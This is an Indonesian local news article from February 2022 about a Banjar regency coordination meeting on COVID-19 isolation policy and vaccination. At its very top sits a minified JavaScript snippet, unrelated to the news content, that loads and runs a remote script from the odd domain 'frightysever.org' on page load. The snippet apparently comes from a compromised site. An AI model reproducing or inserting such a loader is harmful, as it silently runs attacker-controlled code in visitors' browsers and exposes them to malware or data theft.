(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Sekda Banjar Ikuti Rakor Optimalisasi Penanganan Pandemi dan Vaksinasi

KANALKALIMANTAN.COM, MARTAPURA– Direktur Jenderal (Dirjen) Pelayanan Kesehatan Kemenkes , Prof Abdul Kadir mengimbau agar warga yang terkonfirmasi positif dengan gejala ringan atau tanpa gejala diharapkan menjalani isolasi mandiri.

Hal tersebut disampaikannya saat menjadi narasumber kegiatan Rakor Optimalisasi dan Penanganan Pandemi yang diselenggarakan Kementerian Koordinator Bidang Perekonomian RI , via zoom meeting, Selasa (15/2/2022).

Ia mengimbau agar pasien OTG cukup menjalani isolasi mandiri di rumah saja.
“Kebijakan seperti ini bisa mencegah adanya lonjakan keterisian di rumah sakit . Ini juga mengantisipasi adanya tekanan berat bagi tenaga kesehatan yang akan berpotensi menyebabkan penurunan pelayanan kesehatan,” ujarnya.

Sementara itu di Command Center Manis, Sekda Banjar yang didampingi Kadinkes Banjar Yasna Khairina dalam laporannya mengatakan ketersediaan vaksin di Kabupaten Banjar masih cukup tinggi.

Pemkab Banjar akan terus berupaya dalam hal percepatan vaksinasi, apalagi fokus sekarang terhadap anak usia 6-11 tahun dan lansia .

“Dengan semakin tingginya varian Omicron menyebar dewasa ini, diharapkan masyarakat yang belum melakukan suntik vaksin tahap ketiga bisa segera melakukannya, supaya ada perlindungan lebih dari bahaya Omicron,” harapnya.

Ia juga mengusulkan agar pemerintah pusat mengeluarkan semacam surat edaran sebagai panduan untuk daerah daerah dalam upaya mengurangi penularan. (Kanalkalimantan.com/kk)

Reporter : kk
Editor : cell